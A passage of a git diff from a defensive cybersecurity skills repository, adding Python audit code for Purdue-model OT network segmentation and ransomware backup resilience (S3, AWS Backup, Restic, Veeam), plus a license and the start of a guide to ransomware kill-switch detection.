Levels -| Library | Use | -|---------|-----| -| `scapy` | scapy SDK/client | -| `requests` | requests SDK/client | +| Level | Name | Examples | Network Zone | +|-------|------|----------|-------------| +| L0 | Process | Sensors, actuators, valves | Field Network | +| L1 | Basic Control | PLCs, RTUs, safety controllers | Control Network | +| L2 | Area Supervisory | HMIs, SCADA servers, historians | Supervisory Network | +| L3 | Site Operations | Patch servers, AV, AD for OT | Operations Network | +| L3.5 | DMZ | Data diodes, jump servers | Industrial DMZ | +| L4 | Enterprise | ERP, email, business apps | Corporate Network | +| L5 | Internet | Cloud, remote access, third parties | External | -## Authentication +## Core Audit Functions -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Define Asset Zone Mapping +```python +import ipaddress + +PURDUE_ZONES = { + "L0": [ipaddress.ip_network("10.10.0.0/24")], + "L1": [ipaddress.ip_network("10.10.1.0/24")], + "L2": [ipaddress.ip_network("10.10.2.0/24")], + "L3": [ipaddress.ip_network("10.10.3.0/24")], + "L3.5": [ipaddress.ip_network("10.10.35.0/24")], + "L4": [ipaddress.ip_network("10.20.0.0/16")], + "L5": [ipaddress.ip_network("0.0.0.0/0")], +} + +def classify_ip(ip): + addr = ipaddress.ip_address(ip) + for level, subnets in PURDUE_ZONES.items(): + for subnet in subnets: + if addr in subnet: + return level + return "UNKNOWN" +``` + +### Validate Allowed Traffic Flows +```python +# Purdue model: traffic should only flow between adjacent levels +ALLOWED_FLOWS = { + ("L0", "L1"), ("L1", "L0"), + ("L1", "L2"), ("L2", "L1"), + ("L2", "L3"), ("L3", "L2"), + ("L3", "L3.5"), ("L3.5", "L3"), + ("L3.5", "L4"), ("L4", "L3.5"), + ("L4", "L5"), ("L5", "L4"), +} + +def validate_flow(src_ip, dst_ip): + src_level = classify_ip(src_ip) + dst_level = classify_ip(dst_ip) + flow = (src_level, dst_level) + return { + "src_ip": src_ip, + "dst_ip": dst_ip, + "src_level": src_level, + "dst_level": dst_level, + "allowed": flow in ALLOWED_FLOWS or src_level == dst_level, + "violation": flow not in ALLOWED_FLOWS and src_level != dst_level, + } +``` + +### Analyze Network Traffic for Segmentation Violations +```python +from scapy.all import rdpcap, IP + +def analyze_pcap_for_violations(pcap_path): + packets = rdpcap(pcap_path) + violations = [] + seen = set() + for pkt in packets: + if IP in pkt: + flow_key = (pkt[IP].src, pkt[IP].dst) + if flow_key in seen: + continue + seen.add(flow_key) + result = validate_flow(pkt[IP].src, pkt[IP].dst) + if result["violation"]: + violations.append(result) + return violations +``` + +### Port Connectivity Test Across Levels +```python +import socket + +def test_segmentation(src_level_hosts, dst_level_hosts, ports): + """Test that connections between non-adjacent levels are blocked.""" + results = [] + for src in src_level_hosts: + for dst in dst_level_hosts: + for port in ports: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + result = sock.connect_ex((dst, port)) + status = "open" if result == 0 else "closed" + sock.close() + except socket.timeout: + status = "filtered" + results.append({ + "src": src, "dst": dst, "port": port, + "status": status, + "expected": "filtered", + "pass": status != "open", + }) + return results +``` + +### Audit Firewall Rules for DMZ Compliance +```python +def audit_dmz_rules(firewall_rules): + """Check that L3.5 DMZ properly isolates OT from IT.""" + findings = [] + for rule in firewall_rules: + src_zone = classify_ip(rule["src_ip"]) + dst_zone = classify_ip(rule["dst_ip"]) + + # Direct L4->L2 or L4->L1 bypasses DMZ + if src_zone == "L4" and dst_zone in ("L0", "L1", "L2"): + findings.append({ + "rule_id": rule["id"], + "issue": f"Direct {src_zone}->{dst_zone} bypasses DMZ", + "severity": "critical", + "remediation": "Route through L3.5 DMZ", + }) + + # L5 direct to any OT level + if src_zone == "L5" and dst_zone in ("L0", "L1", "L2", "L3"): + findings.append({ + "rule_id": rule["id"], + "issue": f"Internet ({src_zone}) directly reaches OT ({dst_zone})", + "severity": "critical", + "remediation": "Block all direct internet-to-OT traffic", + }) + return findings +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "audit_date": "2025-01-15", + "total_flows_analyzed": 15420, + "segmentation_violations": 12, + "critical_violations": 3, + "violations": [ + { + "src_ip": "10.20.5.100", + "dst_ip": "10.10.1.50", + "src_level": "L4", + "dst_level": "L1", + "violation": true, + "severity": "critical", + "detail": "Enterprise host directly accessing PLC network" + } + ], + "dmz_compliance": { + "data_diode_present": true, + "jump_server_hardened": true, + "direct_ot_it_paths": 0 + } +} ``` diff --git a/skills/implementing-purdue-model-network-segmentation/scripts/agent.py b/skills/implementing-purdue-model-network-segmentation/scripts/agent.py index 65b919b7..6cc27a87 100644 --- a/skills/implementing-purdue-model-network-segmentation/scripts/agent.py +++ b/skills/implementing-purdue-model-network-segmentation/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Purdue model OT network segmentation audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-ransomware-backup-strategy/references/api-reference.md b/skills/implementing-ransomware-backup-strategy/references/api-reference.md index b0c32d11..08541fc1 100644 --- a/skills/implementing-ransomware-backup-strategy/references/api-reference.md +++ b/skills/implementing-ransomware-backup-strategy/references/api-reference.md @@ -1,28 +1,210 @@ -# API Reference: Ransomware backup strategy audit +# API Reference: Ransomware Backup Strategy Audit -## API Endpoints -S3: list_buckets, get_bucket_versioning; AWS Backup: list_backup_plans; 3-2-1 rule +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `boto3` | AWS SDK for S3, AWS Backup, and IAM auditing | +| `json` | Parse backup policies and compliance data | +| `subprocess` | Run local backup verification commands | +| `datetime` | Calculate backup age and RPO/RTO compliance | ## Installation + ```bash -pip install boto3 subprocess +pip install boto3 ``` -## Libraries - -| Library | Use | -|---------|-----| -| `boto3` | boto3 SDK/client | -| `subprocess` | subprocess SDK/client | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +```python +import boto3 +import os + +session = boto3.Session( + aws_access_key_id=os.environ.get("AWS_ACCESS_KEY_ID"), + aws_secret_access_key=os.environ.get("AWS_SECRET_ACCESS_KEY"), + region_name=os.environ.get("AWS_REGION", "us-east-1"), +) + +s3 = session.client("s3") +backup = session.client("backup") +iam = session.client("iam") +``` + +## AWS S3 Backup Audit + +### Check Bucket Versioning (Ransomware Recovery) +```python +def audit_s3_versioning(): + findings = [] + buckets = s3.list_buckets()["Buckets"] + for bucket in buckets: + name = bucket["Name"] + versioning = s3.get_bucket_versioning(Bucket=name) + status = versioning.get("Status", "Disabled") + mfa_delete = versioning.get("MFADelete", "Disabled") + + if status != "Enabled": + findings.append({ + "bucket": name, + "issue": "Versioning not enabled", + "severity": "high", + "remediation": "Enable versioning for ransomware recovery", + }) + if mfa_delete != "Enabled": + findings.append({ + "bucket": name, + "issue": "MFA Delete not enabled", + "severity": "medium", + "remediation": "Enable MFA Delete to prevent bulk deletion", + }) + return findings +``` + +### Check Object Lock (Immutable Backups) +```python +def check_object_lock(bucket_name): + try: + config = s3.get_object_lock_configuration(Bucket=bucket_name) + lock = config["ObjectLockConfiguration"] + rule = lock.get("Rule", {}).get("DefaultRetention", {}) + return { + "bucket": bucket_name, + "object_lock_enabled": lock.get("ObjectLockEnabled") == "Enabled", + "retention_mode": rule.get("Mode", "NONE"), + "retention_days": rule.get("Days", 0), + } + except s3.exceptions.ClientError: + return {"bucket": bucket_name, "object_lock_enabled": False} +``` + +### Check Cross-Region Replication +```python +def check_cross_region_replication(bucket_name): + try: + repl = s3.get_bucket_replication(Bucket=bucket_name) + rules = repl["ReplicationConfiguration"]["Rules"] + return { + "bucket": bucket_name, + "replication_enabled": True, + "destinations": [ + r["Destination"]["Bucket"] for r in rules if r["Status"] == "Enabled" + ], + } + except s3.exceptions.ClientError: + return {"bucket": bucket_name, "replication_enabled": False} +``` + +## AWS Backup Service + +### List Backup Plans +```python +def list_backup_plans(): + plans = backup.list_backup_plans()["BackupPlansList"] + result = [] + for plan in plans: + detail = backup.get_backup_plan(BackupPlanId=plan["BackupPlanId"]) + rules = detail["BackupPlan"]["Rules"] + result.append({ + "name": plan["BackupPlanName"], + "id": plan["BackupPlanId"], + "rules": [ + { + "name": r["RuleName"], + "schedule": r.get("ScheduleExpression"), + "lifecycle_delete_days": r.get("Lifecycle", {}).get("DeleteAfterDays"), + "lifecycle_cold_days": r.get("Lifecycle", {}).get("MoveToColdStorageAfterDays"), + "target_vault": r["TargetBackupVaultName"], + } + for r in rules + ], + }) + return result +``` + +### Audit Backup Vault Access Policy +```python +def audit_vault_access(vault_name): + try: + policy = backup.get_backup_vault_access_policy(BackupVaultName=vault_name) + policy_doc = json.loads(policy["Policy"]) + # Check for overly permissive policies + findings = [] + for stmt in policy_doc.get("Statement", []): + if stmt.get("Effect") == "Allow" and stmt.get("Principal") == "*": + findings.append({ + "vault": vault_name, + "issue": "Vault policy allows public access", + "severity": "critical", + }) + return findings + except backup.exceptions.ClientError: + return [{"vault": vault_name, "issue": "No access policy set", "severity": "medium"}] +``` + +### List Recovery Points (Check Backup Freshness) +```python +from datetime import datetime, timezone + +def check_backup_freshness(vault_name, max_age_hours=24): + recovery_points = backup.list_recovery_points_by_backup_vault( + BackupVaultName=vault_name, MaxResults=100 + )["RecoveryPoints"] + + stale = [] + for rp in recovery_points: + age = datetime.now(timezone.utc) - rp["CreationDate"] + if age.total_seconds() > max_age_hours * 3600: + stale.append({ + "resource": rp["ResourceArn"], + "last_backup": rp["CreationDate"].isoformat(), + "age_hours": round(age.total_seconds() / 3600), + "status": rp["Status"], + }) + return stale +``` + +## 3-2-1 Backup Rule Audit + +```python +def audit_321_rule(bucket_name): + """Verify the 3-2-1 backup rule: 3 copies, 2 media types, 1 offsite.""" + versioning = s3.get_bucket_versioning(Bucket=bucket_name) + replication = check_cross_region_replication(bucket_name) + object_lock = check_object_lock(bucket_name) + + score = { + "three_copies": versioning.get("Status") == "Enabled", + "two_media": replication["replication_enabled"], + "one_offsite": replication["replication_enabled"], + "immutable": object_lock["object_lock_enabled"], + } + score["compliant"] = all([score["three_copies"], score["two_media"], score["one_offsite"]]) + return score +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "audit_date": "2025-01-15", + "backup_strategy": { + "total_buckets": 15, + "versioning_enabled": 12, + "object_lock_enabled": 5, + "cross_region_replication": 8, + "three_two_one_compliant": 4 + }, + "backup_plans": 3, + "recovery_points_stale": 2, + "findings": [ + { + "resource": "critical-data-bucket", + "issue": "No Object Lock — vulnerable to ransomware deletion", + "severity": "high", + "remediation": "Enable S3 Object Lock in COMPLIANCE mode" + } + ] +} ``` diff --git a/skills/implementing-ransomware-backup-strategy/scripts/agent.py b/skills/implementing-ransomware-backup-strategy/scripts/agent.py index df334976..ac21fbaa 100644 --- a/skills/implementing-ransomware-backup-strategy/scripts/agent.py +++ b/skills/implementing-ransomware-backup-strategy/scripts/agent.py @@ -1,61 +1,295 @@ #!/usr/bin/env python3 -"""Ransomware backup strategy audit.""" -import argparse, json, sys -from datetime import datetime, timezone -try: - import requests -except ImportError: - requests = None +"""Ransomware backup strategy audit agent. -def audit_config(target, token): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} +Audits backup infrastructure for ransomware resilience by checking +3-2-1 backup rule compliance, air-gapped/immutable backup presence, +backup encryption status, recovery point objectives (RPO), and +backup integrity verification schedules. +""" +import argparse +import json +import os +import subprocess +import sys +from datetime import datetime, timezone, timedelta + + +def check_veeam_backups(server_url, token): + """Check Veeam backup status via REST API.""" try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) + import requests + except ImportError: + return [{"check": "Veeam API", "status": "SKIP", "severity": "INFO", + "detail": "requests library not installed"}] + + findings = [] + headers = {"Authorization": f"Bearer {token}", "Accept": "application/json"} + + # Check backup jobs + try: + resp = requests.get(f"{server_url}/api/v1/jobs", headers=headers, timeout=30) + resp.raise_for_status() + jobs = resp.json().get("data", []) + for job in jobs: + job_name = job.get("name", "Unknown") + last_result = job.get("lastResult", "None") + schedule_enabled = job.get("scheduleEnabled", False) + if last_result == "Failed": + findings.append({ + "check": f"Backup job: {job_name}", + "status": "FAIL", + "severity": "CRITICAL", + "detail": "Last backup failed", + }) + elif not schedule_enabled: + findings.append({ + "check": f"Backup job: {job_name}", + "status": "WARN", + "severity": "HIGH", + "detail": "Schedule disabled", + }) + else: + findings.append({ + "check": f"Backup job: {job_name}", + "status": "PASS", + "severity": "INFO", + "detail": f"Last result: {last_result}", + }) + except Exception as e: + findings.append({"check": "Veeam job check", "status": "ERROR", + "severity": "HIGH", "detail": str(e)}) return findings -def check_compliance(target, token): + +def check_restic_repository(repo_path, password_file=None): + """Audit a Restic backup repository for integrity and freshness.""" findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} + restic_bin = None + for name in ["restic", "restic.exe"]: + for d in os.environ.get("PATH", "").split(os.pathsep): + if os.path.isfile(os.path.join(d, name)): + restic_bin = os.path.join(d, name) + break + if not restic_bin: + findings.append({"check": "Restic binary", "status": "SKIP", + "severity": "INFO", "detail": "restic not found"}) + return findings + + env = dict(os.environ) + env["RESTIC_REPOSITORY"] = repo_path + if password_file: + env["RESTIC_PASSWORD_FILE"] = password_file + + # Check snapshots try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass + result = subprocess.run( + [restic_bin, "snapshots", "--json"], + capture_output=True, text=True, timeout=120, env=env, + ) + if result.returncode == 0: + snapshots = json.loads(result.stdout) + if not snapshots: + findings.append({"check": "Snapshots exist", "status": "FAIL", + "severity": "CRITICAL", "detail": "No snapshots found"}) + else: + latest = max(snapshots, key=lambda s: s.get("time", "")) + latest_time = latest.get("time", "")[:19] + findings.append({"check": "Latest snapshot", "status": "PASS", + "severity": "INFO", + "detail": f"{latest_time} ({len(snapshots)} total)"}) + try: + latest_dt = datetime.fromisoformat(latest_time.replace("Z", "+00:00")) + age_hours = (datetime.now(timezone.utc) - latest_dt).total_seconds() / 3600 + if age_hours > 48: + findings.append({"check": "Backup freshness", "status": "FAIL", + "severity": "HIGH", + "detail": f"Latest backup is {age_hours:.0f}h old (>48h)"}) + elif age_hours > 24: + findings.append({"check": "Backup freshness", "status": "WARN", + "severity": "MEDIUM", + "detail": f"Latest backup is {age_hours:.0f}h old (>24h)"}) + except (ValueError, TypeError): + pass + else: + findings.append({"check": "Repository access", "status": "FAIL", + "severity": "CRITICAL", "detail": result.stderr[:200]}) + except subprocess.TimeoutExpired: + findings.append({"check": "Repository access", "status": "FAIL", + "severity": "HIGH", "detail": "Command timed out"}) + + # Check repository integrity + try: + result = subprocess.run( + [restic_bin, "check", "--read-data-subset=1%"], + capture_output=True, text=True, timeout=300, env=env, + ) + if result.returncode == 0: + findings.append({"check": "Repository integrity", "status": "PASS", + "severity": "INFO", "detail": "Integrity check passed"}) + else: + findings.append({"check": "Repository integrity", "status": "FAIL", + "severity": "CRITICAL", "detail": "Integrity check failed"}) + except subprocess.TimeoutExpired: + findings.append({"check": "Repository integrity", "status": "WARN", + "severity": "MEDIUM", "detail": "Integrity check timed out"}) + return findings + +def audit_321_rule(backup_config): + """Audit compliance with the 3-2-1 backup rule.""" + findings = [] + copies = backup_config.get("copies", 0) + media_types = backup_config.get("media_types", []) + offsite_locations = backup_config.get("offsite_locations", []) + immutable = backup_config.get("immutable_backup", False) + air_gapped = backup_config.get("air_gapped", False) + + # 3 copies + if copies >= 3: + findings.append({"check": "3-2-1: At least 3 copies", "status": "PASS", + "severity": "INFO", "detail": f"{copies} copies"}) + else: + findings.append({"check": "3-2-1: At least 3 copies", "status": "FAIL", + "severity": "CRITICAL", + "detail": f"Only {copies} copies (need 3)"}) + + # 2 different media types + if len(media_types) >= 2: + findings.append({"check": "3-2-1: 2 different media types", "status": "PASS", + "severity": "INFO", "detail": ", ".join(media_types)}) + else: + findings.append({"check": "3-2-1: 2 different media types", "status": "FAIL", + "severity": "HIGH", + "detail": f"Only {len(media_types)} type(s): {', '.join(media_types)}"}) + + # 1 offsite copy + if offsite_locations: + findings.append({"check": "3-2-1: 1 offsite copy", "status": "PASS", + "severity": "INFO", "detail": ", ".join(offsite_locations)}) + else: + findings.append({"check": "3-2-1: 1 offsite copy", "status": "FAIL", + "severity": "CRITICAL", "detail": "No offsite backup"}) + + # Immutable backup (ransomware protection) + if immutable: + findings.append({"check": "Immutable backup", "status": "PASS", + "severity": "INFO", "detail": "WORM/immutable storage enabled"}) + else: + findings.append({"check": "Immutable backup", "status": "FAIL", + "severity": "CRITICAL", + "detail": "No immutable backup - vulnerable to ransomware encryption"}) + + # Air-gapped backup + if air_gapped: + findings.append({"check": "Air-gapped backup", "status": "PASS", + "severity": "INFO", "detail": "Offline/air-gapped copy exists"}) + else: + findings.append({"check": "Air-gapped backup", "status": "WARN", + "severity": "HIGH", + "detail": "No air-gapped backup - consider tape or offline storage"}) + + # Encryption + if backup_config.get("encrypted", False): + findings.append({"check": "Backup encryption", "status": "PASS", + "severity": "INFO"}) + else: + findings.append({"check": "Backup encryption", "status": "FAIL", + "severity": "HIGH", "detail": "Backups are not encrypted"}) + + return findings + + +def format_summary(all_findings): + """Print audit summary.""" + print(f"\n{'='*60}") + print(f" Ransomware Backup Strategy Audit") + print(f"{'='*60}") + + severity_counts = {} + for f in all_findings: + sev = f.get("severity", "INFO") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + pass_count = sum(1 for f in all_findings if f.get("status") == "PASS") + fail_count = sum(1 for f in all_findings if f.get("status") == "FAIL") + warn_count = sum(1 for f in all_findings if f.get("status") == "WARN") + + print(f" Checks : {len(all_findings)}") + print(f" Passed : {pass_count}") + print(f" Failed : {fail_count}") + print(f" Warnings : {warn_count}") + + print(f"\n By Severity:") + for sev in ["CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO"]: + count = severity_counts.get(sev, 0) + if count > 0: + print(f" {sev:10s}: {count}") + + print(f"\n Detailed Results:") + for f in all_findings: + status_icon = "OK" if f["status"] == "PASS" else "!!" if f["status"] == "FAIL" else "~~" + detail = f.get("detail", "") + print(f" [{status_icon}] [{f['severity']:8s}] {f['check']}" + + (f": {detail}" if detail else "")) + + return severity_counts + + def main(): - p = argparse.ArgumentParser(description="Ransomware backup strategy audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] Ransomware backup strategy audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser( + description="Ransomware backup strategy audit agent" + ) + parser.add_argument("--config", help="Backup configuration JSON file") + parser.add_argument("--restic-repo", help="Restic repository path to audit") + parser.add_argument("--restic-password-file", help="Restic password file") + parser.add_argument("--veeam-url", help="Veeam server URL") + parser.add_argument("--veeam-token", help="Veeam API token") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + all_findings = [] + + if args.config: + with open(args.config, "r") as f: + backup_config = json.load(f) + all_findings.extend(audit_321_rule(backup_config)) + + if args.restic_repo: + all_findings.extend(check_restic_repository(args.restic_repo, args.restic_password_file)) + + if args.veeam_url and args.veeam_token: + all_findings.extend(check_veeam_backups(args.veeam_url, args.veeam_token)) + + if not all_findings: + print("[!] No audit sources specified. Use --config, --restic-repo, or --veeam-url.", + file=sys.stderr) + parser.print_help() + sys.exit(1) + + severity_counts = format_summary(all_findings) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "Ransomware Backup Audit", + "findings": all_findings, + "severity_counts": severity_counts, + "risk_level": ( + "CRITICAL" if severity_counts.get("CRITICAL", 0) > 0 + else "HIGH" if severity_counts.get("HIGH", 0) > 0 + else "MEDIUM" if severity_counts.get("MEDIUM", 0) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/implementing-ransomware-kill-switch-detection/LICENSE b/skills/implementing-ransomware-kill-switch-detection/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/implementing-ransomware-kill-switch-detection/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/implementing-ransomware-kill-switch-detection/SKILL.md b/skills/implementing-ransomware-kill-switch-detection/SKILL.md new file mode 100644 index 00000000..2f8d5910 --- /dev/null +++ b/skills/implementing-ransomware-kill-switch-detection/SKILL.md @@ -0,0 +1,209 @@ +--- +name: implementing-ransomware-kill-switch-detection +description: > + Detects and exploits ransomware kill switch mechanisms including mutex-based + execution guards, domain-based kill switches, and registry-based termination + checks. Implements proactive mutex vaccination and kill switch domain monitoring + to prevent ransomware from executing. Activates for requests involving ransomware + kill switch analysis, mutex vaccination, WannaCry-style domain kill switches, + or malware execution guard detection. +domain: cybersecurity +subdomain: ransomware-defense +tags: [ransomware, kill-switch, mutex, detection, WannaCry, malware-analysis] +version: 1.0.0 +author: mahipal +license: Apache-2.0 +--- + +# Implementing Ransomware Kill Switch Detection + +## When to Use + +- Analyzing a ransomware sample to determine if it contains a kill switch mechanism (mutex, domain, registry) +- Deploying proactive mutex vaccination across endpoints to prevent known ransomware families from executing +- Monitoring DNS for kill switch domain lookups that indicate ransomware attempting to check before encrypting +- During incident response to quickly determine if a ransomware variant can be stopped by activating its kill switch +- Building detection signatures for ransomware mutex creation events using Sysmon or EDR telemetry + +**Do not use** kill switch vaccination as a primary defense. Not all ransomware families implement kill switches, and those that do may remove them in newer versions. This is a supplementary detection and prevention layer. + +## Prerequisites + +- Python 3.8+ with `ctypes` (Windows) for mutex creation and enumeration +- Sysmon installed with Event ID 1 (process creation) and Event ID 17/18 (pipe/mutex events) configured +- Access to malware analysis sandbox for identifying kill switch mechanisms in samples +- DNS monitoring capability for detecting kill switch domain resolution attempts +- Familiarity with Windows internals: mutexes (mutants), kernel objects, named pipes +- Reference database of known ransomware mutexes 